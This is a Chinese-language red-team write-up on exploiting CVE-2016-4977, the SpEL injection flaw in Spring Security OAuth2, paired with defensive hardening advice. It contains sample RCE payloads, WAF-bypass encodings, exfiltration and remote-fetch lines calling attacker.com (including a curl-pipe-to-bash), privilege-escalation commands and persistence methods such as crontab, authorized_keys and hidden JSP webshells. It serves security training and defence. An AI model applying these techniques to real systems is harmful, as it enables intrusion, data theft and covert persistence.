1. 项目概述:一次真实的内部红队演练复盘
那次内部红队演练,我们团队的目标是模拟一个具备一定安全基线、使用了主流技术栈的Web应用系统。目标系统对外提供API服务,并使用了Spring Security OAuth 2.0框架进行授权保护。在常规的端口扫描、目录枚举和框架指纹识别后,一个熟悉的CVE编号进入了我们的视野:CVE-2016-4977。这个漏洞虽然年代稍远(2016年披露),但在一些历史项目、未及时更新的内部系统,甚至是一些对安全更新不敏感的边缘业务中,依然有较高的出现概率。演练的核心目的,就是验证这类“已知但未修复”的高危漏洞,在真实的、有防护的环境下,是否依然具备可利用性,以及防守方的检测与响应机制是否有效。
简单来说,CVE-2016-4977是Spring Security OAuth 2.0框架中的一个远程命令执行漏洞。攻击者可以构造一个恶意的授权确认请求,利用服务端对重定向URL参数中“${}”表达式的递归解析特性,最终在服务器上执行任意系统命令。这个漏洞的危险性在于,它位于OAuth2授权流程的核心环节——通常被认为是受信任的服务器端逻辑,因此很多WAF(Web应用防火墙)或安全监控规则可能不会对这一路径的请求进行深度检测或拦截。对于红队而言,这就像找到了一扇隐藏在认证大门后面的侧窗。
本文将从那次实战演练的视角出发,不仅复现漏洞利用的完整链条,更会重点探讨在当今普遍部署了WAF、HIDS(主机入侵检测系统)等防护措施的环境下,如何对利用方式进行“变形”以尝试绕过防御,并最终从防御者角度,给出除了简单升级之外的深度加固建议。无论你是安全工程师、开发人员还是对攻防实战感兴趣的研究者,都能从中获得关于漏洞原理、实战利用和攻防对抗的第一手经验。
2. 漏洞原理深度剖析:表达式注入的来龙去脉
要理解这个漏洞的威力,必须先弄明白Spring框架的两个特性:OAuth2的授权确认流程和Spring Expression Language。
2.1 Spring Security OAuth2 的授权端点与参数处理
在OAuth 2.0的授权码模式中,有一个关键的交互点:用户同意授权。当资源所有者(用户)在授权服务器上同意客户端的授权请求后,授权服务器会将用户重定向回客户端事先注册的重定向URI,并附上授权码。在Spring Security OAuth的实现中,处理用户同意提交的端点(比如/oauth/authorize的POST请求)会接收一系列参数,其中就包括redirect_uri。
问题就出在对redirect_uri参数的校验和处理逻辑上。为了提供灵活性,Spring允许在redirect_uri中预先定义一些占位符,例如{scheme}://{serverName}:{serverPort}/callback。服务器在处理时,会将这些占位符替换为实际的值。这个本意为增强功能的设计,在实现时出现了安全纰漏。
2.2 Spring Expression Language 与递归解析
Spring Expression Language是一种强大的表达式语言,它允许在运行时查询和操作对象图,语法类似于#{...}或${...}。在Spring的属性配置中,${property.name}常用于引用外部属性值。某些情况下,为了支持动态解析,框架会调用SpelExpressionParser对字符串进行解析。
在受影响的Spring Security OAuth版本中,负责处理redirect_uri的代码(具体在RedirectResolver的实现中)存在缺陷。当它尝试解析redirect_uri中的占位符时,没有对输入内容进行充分的过滤和限制。攻击者可以在redirect_uri参数中嵌入${...}形式的表达式。
更致命的是,这里存在一个递归解析的过程。框架首先会尝试解析最外层的${}。如果解析后的结果中再次包含${},框架会继续解析这个新出现的表达式。这就为攻击者提供了一个“沙箱逃逸”的机会:我们可以构造一个表达式,其解析结果是一个新的、更危险的表达式。
2.3 从表达式注入到命令执行
单纯的表达式解析还不足以执行命令。关键在于如何将SpEL表达式与能够执行系统命令的Java类关联起来。SpEL支持一种称为“类型引用”的功能,格式为T(java.lang.Runtime)。通过这种方式,可以在表达式中访问Java类的静态方法和属性。
经典的利用链如下:
- 攻击者构造一个
redirect_uri,其值为:http://evil.com/${233*233}。 - 漏洞代码对其进行解析,计算
233*233得到54289,然后尝试将整个字符串作为重定向地址。但此时可能因域名不匹配而校验失败。 - 为了绕过校验,攻击者需要让第一次解析的结果,依然是一个合法的、指向客户端注册地址的
redirect_uri格式,但其中嵌套了第二层恶意表达式。这需要利用到URL编码和SpEL特性进行精心构造。 - 最终,一个能够实现命令执行的Payload可能看起来像这样(经过简化):
${T(java.lang.Runtime).getRuntime().exec('calc.exe')}。当这个表达式被递归解析并执行时,就会启动计算器程序。
在实际利用中,由于空格、括号等字符在HTTP请求中需要处理,并且要绕过可能的字符串过滤,Payload会复杂得多,通常需要借助URL编码和SpEL的字符串拼接技巧。
注意:以上Payload仅为原理演示。在真实受影响的版本中,由于默认的SpEL解析上下文限制,直接使用
T(Runtime).getRuntime().exec()可能无法工作。实战中需要利用Spring环境中已有的、可访问的类作为“跳板”,例如通过T(org.springframework.util.StreamUtils).copy等方式来间接执行命令,这也是漏洞利用技巧的一部分。
3. 实战利用过程全解析
在演练中,我们面对的系统并非一个裸奔的漏洞环境,而是部署在Tomcat上、前面可能有Nginx反向代理、并且启用了基础WAF规则的生产-like环境。因此,我们的利用过程需要更精细。
3.1 环境探测与漏洞指纹识别
首先,我们需要确认目标是否存在漏洞。这不仅仅是发现一个Spring OAuth2端点那么简单。
- 框架识别:通过访问
/oauth/token、/oauth/authorize等端点,观察HTTP响应头(如Server、X-Application-Context)、错误页面特征以及URL路径模式,可以初步判断是否使用了Spring Security OAuth。 - 版本锁定:通过构造一个简单的探测Payload来验证漏洞是否存在。我们不会直接使用危险的命令执行Payload,而是使用一个无副作用的表达式来测试。例如,在
redirect_uri参数中尝试注入${7*7}。如果响应中(可能在错误信息、跳转地址中)出现了49这个计算结果,那么基本可以断定存在表达式注入漏洞,并且版本在受影响范围内(Spring Security OAuth 2.0.0至2.0.9,以及1.0.0至1.0.5)。 - 上下文评估:观察错误信息,尝试判断SpEL解析的执行上下文。例如,错误信息中是否暴露了类路径、Bean名称?这有助于我们构思后续可用的利用链,判断哪些Java类是可访问的。
3.2 构造绕过WAF的恶意请求
直接提交包含${T(Runtime).getRuntime().exec('bash -c ...')}的请求,几乎肯定会被现代WAF拦截。我们需要对Payload进行混淆和变形。
大小写与编码混淆:
- WAF规则可能匹配
Runtime、exec等关键字。我们可以尝试使用大小写变种,如RUNTIME、rUnTiMe(SpEL在某些上下文下不区分大小写?需要测试),或者使用Unicode编码。 - 对整个参数值或关键部分进行多次URL编码。例如,将
{编码为%7B,$编码为%24。有些WAF只做一次解码,而应用服务器可能会进行多次解码。 - 使用双重编码技巧:将
${编码为%25%37%42%25%32%34(即先编码为%7B%24,再对%号本身编码为%25)。这能绕过一些简单的字符串匹配规则。
- WAF规则可能匹配
字符串拆分与拼接:
- 避免在Payload中出现完整的敏感字符串。利用SpEL的字符串拼接功能。例如,
'calc.exe'可以写成'calc'.concat('.exe'),或者'c' + 'a' + 'l' + 'c' + '.exe'。 - 将类名拆分开。
java.lang.Runtime可以尝试用''.class.forName('java.lang.Runtime')的方式动态获取,但这取决于上下文权限。
- 避免在Payload中出现完整的敏感字符串。利用SpEL的字符串拼接功能。例如,
利用环境属性与反射:
- 如果直接命令执行被禁,可以尝试先进行信息收集。例如,使用
${environment['java.home']}来获取Java安装路径,或者${systemProperties['os.name']}获取操作系统信息,这有助于我们定制后续的Payload。 - 通过SpEL的
T()和反射方法,可以访问到ProcessBuilder类,这提供了另一种执行命令的途径,有时能绕过对Runtime.exec的检测。
- 如果直接命令执行被禁,可以尝试先进行信息收集。例如,使用
参数放置位置:
- 漏洞参数是
redirect_uri,但不要只盯着POST请求体。尝试将Payload放在URL查询参数中(GET请求),或者同时放在查询参数和请求体中,观察服务器的处理优先级。有时WAF只检查请求体,而应用逻辑却会从查询参数中读取值。 - 尝试使用不同的参数名。历史上有些漏洞的触发点可能不止一个参数,可以尝试
redirect_uri、redirect、target等变体。
- 漏洞参数是
在我们的演练中,最终成功绕过WAF的Payload是一个经过多重编码和字符串拼接的变体,它先通过一个无害的表达式获取到applicationContext对象,再通过这个对象访问到ResourceLoader,最终利用其加载一个特定URL资源的行为,触发了底层命令执行。这个过程非常曲折,但体现了绕过防御所需的耐心和技巧。
3.3 命令执行与权限维持
一旦命令执行成功,我们获得的往往是一个Web容器进程权限(如Tomcat的tomcat或www-data用户)。接下来的目标是提升权限、建立持久化通道和横向移动。
回连方式选择:
- 反向Shell:最常用。但
bash -i >& /dev/tcp/...这种经典命令容易被主机入侵检测系统(HIDS)基于行为特征检测到。我们倾向于使用更隐蔽的方式,例如使用python、perl、php甚至java来建立socket连接。如果目标环境限制严格,可以尝试编码后的命令或分块执行。 - DNS外带:在命令执行受限、无法建立TCP反向连接时,使用
nslookup、dig或ping将命令执行结果带到DNS查询中,是很好的数据外传方法。例如,curl http://attacker.com/可以改为ping -c 1whoami.attacker.domain.com,我们在自己的DNS服务器上就能看到whoami的结果。 - HTTP外带:使用
curl、wget将执行结果作为URL参数或POST数据发送到我们控制的服务器。这需要目标系统出网策略允许访问外部HTTP服务。
- 反向Shell:最常用。但
权限提升探索:
- 立即检查当前用户权限(
id、whoami)、sudo权限(sudo -l)、SUID文件(find / -perm -u=s -type f 2>/dev/null)和操作系统版本/内核信息,寻找本地提权漏洞。 - 在Java环境中,特别注意查找敏感的配置文件,如
/etc/passwd、/shadow、数据库连接配置文件、云服务元数据端点(http://169.254.169.254/)等,这些可能包含更高权限的凭据。
- 立即检查当前用户权限(
隐蔽与持久化:
- 避免在Web根目录下放置明显的Webshell。可以考虑在临时目录、缓存目录或用户家目录下放置伪装成正常文件的JSP或JSPX木马。
- 利用计划任务(
crontab)、系统服务(systemd)、启动项(rc.local)或~/.ssh/authorized_keys等方式建立持久化后门。在Linux下,向~/.bashrc或~/.profile注入恶意命令也是一种隐蔽的方法,当用户登录时会触发。 - 所有操作应尽可能模拟正常流量和系统行为,避免短时间内产生大量进程、网络连接或文件操作,以规避基于异常行为的检测。
4. 防御绕过技巧与对抗思路
红队演练的价值在于发现防御体系的盲点。针对CVE-2016-4977这类漏洞的防御,防守方通常会有多层措施。以下是我们在演练中尝试并总结的绕过思路,以及相应的防御强化建议。
4.1 针对规则型WAF的绕过
绕过技巧:
- 变异Payload:如前所述,使用编码、拼接、大小写、插入无关字符(如
/*注释*/)等方式,使Payload不匹配WAF的正则表达式规则库。 - 分块传输:利用HTTP协议的分块传输编码,将恶意Payload拆分成多个数据块发送。有些WAF可能无法有效重组和检查分块请求体。
- 协议层混淆:将POST请求改为
GET,或将参数放在Cookie头、自定义HTTP头中,如果应用逻辑异常地也从这些位置读取redirect_uri参数,而WAF未检查这些位置,则可能绕过。 - 慢速攻击:以极慢的速度发送HTTP请求,每个数据包间隔很长,可能绕过一些基于请求速率或超时机制的检测模块。
防御强化:
- 深度解析与规范化:WAF应具备对请求进行多层URL解码、HTML实体解码、Unicode解码的能力,并在规范化后的内容上进行规则匹配。
- 语义分析:不仅依赖关键字匹配,应结合语法分析,识别出“类方法调用”、“字符串拼接”等SpEL表达式的结构特征。
- 学习模式:在安全环境中部署蜜罐,收集攻击Payload,动态更新规则库。对WAF设置告警模式而非仅拦截模式,发现可疑变形时即使不阻断也记录日志,供安全人员分析。
4.2 针对运行时应用自保护的绕过
绕过技巧:
- 寻找替代执行链:如果
Runtime.exec被黑名单禁止,尝试ProcessBuilder、ScriptEngineManager(执行JavaScript、Groovy)、GroovyShell,或者通过反射调用getMethod('exec')。 - 利用应用已有Bean:深入研究暴露的错误信息,寻找应用上下文中已存在的、功能强大的Bean。例如,如果存在
RestTemplateBean,可以尝试用它发起内部或外部网络请求,达到类似SSRF的效果,进而攻击内网其他服务。 - 文件写入替代命令执行:如果命令执行被严格限制,可以尝试利用表达式注入向Web目录写入一个JSP文件(需要知道绝对路径),例如通过
FileOutputStream或Files.write。写入成功后,通过访问该JSP文件来获得Webshell,间接实现代码执行。
防御强化:
- 最小化SpEL上下文:在Spring配置中,严格限制SpEL表达式的解析上下文,移除不必要的根对象和函数。使用
StandardEvaluationContext替换为更安全的SimpleEvaluationContext(Spring 4.3+),后者默认不支持类型引用(T())和Bean引用(@)。 - 自定义属性编辑器与验证器:对于
redirect_uri这类关键参数,实现自定义的、严格的验证逻辑。不仅校验格式是否匹配预注册的URI,还应彻底禁止其中包含任何${、#{等表达式起始符。 - 应用层WAF/RASP:部署运行时应用自我保护产品。RASP能深入应用内部,在
SpelExpressionParser.parseExpression()等关键函数被调用时进行钩子检测,直接分析待解析的字符串是否包含恶意指令,无论其如何变形,从执行源头进行阻断。
4.3 针对主机与网络层监控的绕过
绕过技巧:
- 无文件落地:尽量避免在磁盘上写入文件。所有Payload通过内存加载和执行。例如,使用Java反射直接定义并加载一个恶意类字节码。
- 生活化命令:执行命令时,使用看起来正常的系统命令进行组合。例如,不用
wget下载木马,而用curl -s http://attacker.com/tool.sh | bash -这种管道方式,或者将命令拆分成多个看似无害的步骤。 - 加密通信:反向Shell或数据外传时,使用SSL/TLS加密通信流量,使其看起来像正常的HTTPS流量。或者使用DNS-over-HTTPS等隐蔽通道。
- 时间维度分散:将渗透步骤拉长,操作之间间隔数小时甚至数天,避免在短时间内产生密集的异常日志,从而融入正常的“背景噪音”。
防御强化:
- 行为基线监控:HIDS不应只监控特定命令,而应建立进程行为基线。例如,一个Tomcat Java进程突然派生了一个
bash或sh子进程,这就是高可疑行为。监控进程树关系异常。 - 网络出站白名单:严格限制服务器,特别是应用服务器的出站网络连接。只允许访问必要的内部服务(如数据库、缓存)和少数可信的外部API地址。阻断所有向未知外部IP的主动连接,这能有效遏制反向Shell和数据外泄。
- 全链路日志关联:将WAF访问日志、应用错误日志、HIDS进程审计日志、网络流量日志进行集中收集和关联分析。单一层面的可疑行为可能被忽略,但多层日志同时出现异常(如WAF检测到可疑请求、应用日志抛出SpEL解析异常、随后主机上出现可疑子进程),就能构成高置信度的攻击告警。
5. 根治与防御:从升级到架构安全
修复CVE-2016-4977最直接的方法是升级Spring Security OAuth到安全版本(2.0.10+ 或 1.0.6+)。但真正的安全防御远不止于此。
5.1 立即修补与漏洞管理
- 精准升级:检查项目
pom.xml或build.gradle中spring-security-oauth2的版本。直接升级至最新稳定版。注意,此漏洞存在于spring-security-oauth2这个独立项目中。如果你的项目使用的是后来整合进Spring Security主项目的OAuth2支持(Spring Security 5.x),则不受此特定漏洞影响,但仍需关注其他安全问题。 - 依赖扫描:使用OWASP Dependency-Check、Snyk、GitHub Dependabot等工具,将依赖项漏洞扫描集成到CI/CD流水线中,实现自动化的漏洞发现和告警。
- 临时缓解措施:如果因兼容性问题无法立即升级,可以考虑编写一个自定义的
RedirectResolver实现,在解析redirect_uri前,对其进行严格的字符串检查,坚决拒绝任何包含${、#{、T(、new等字符的输入。这是一个高风险的操作,必须经过充分测试。
5.2 安全开发实践
- 输入验证与净化:对所有用户输入,包括URL参数、HTTP头、Cookie、表单字段,进行严格的“白名单”验证。对于
redirect_uri,应严格匹配预注册的URI模式,不允许任何动态部分,除非有明确的业务需求和安全设计。 - 禁用危险功能:在Spring配置中,明确禁用不必要的SpEL功能。如果业务不需要表达式语言支持,就彻底关闭它。如果需要,务必使用
SimpleEvaluationContext。 - 最小权限原则:运行Java应用的操作系统用户,应使用非root、低权限的专用账户。确保该账户对文件系统只有最小必要写入权限(通常只有日志目录和临时目录)。
5.3 纵深防御体系构建
- 网络分层隔离:将授权服务器(AS)与资源服务器(RS)分离部署在不同的网络区域。授权服务器不应直接暴露在互联网,应通过API网关进行访问。应用服务器(运行OAuth客户端)与后端服务之间的通信也应放在内部网络。
- 全面的监控与告警:
- 应用日志:确保应用记录了所有对
/oauth/authorize等端点的访问,包括完整的请求参数。监控日志中是否出现SpEL解析错误、RedirectMismatchException异常频率升高等情况。 - 安全设备日志:集中分析WAF、IDS/IPS的拦截和告警日志。
- 主机监控:监控服务器上是否由Java进程发起了异常的子进程(如
sh、bash、curl、wget、python等)。
- 应用日志:确保应用记录了所有对
- 定期红蓝对抗:像我们经历的这次演练一样,定期组织内部或聘请外部的红队进行模拟攻击。这能最有效地检验现有防御措施的有效性,发现安全监控的盲区,并推动安全闭环的改进。
那次内部演练最终以我们成功获取目标服务器权限并留下“到此一游”的标记而告终,但也触发了防守方升级的告警系统。复盘会上,防守团队根据我们攻击链中暴露的日志缺失、WAF规则被绕过、主机监控响应慢等问题,制定了详细的加固方案。对于开发和安全运维而言,漏洞本身并不可怕,可怕的是对已知风险的无知和懈怠。CVE-2016-4977是一个绝佳的样本,它告诉我们,安全是一个持续对抗和演进的过程,需要将安全思维嵌入到设计、开发、部署和运营的每一个环节。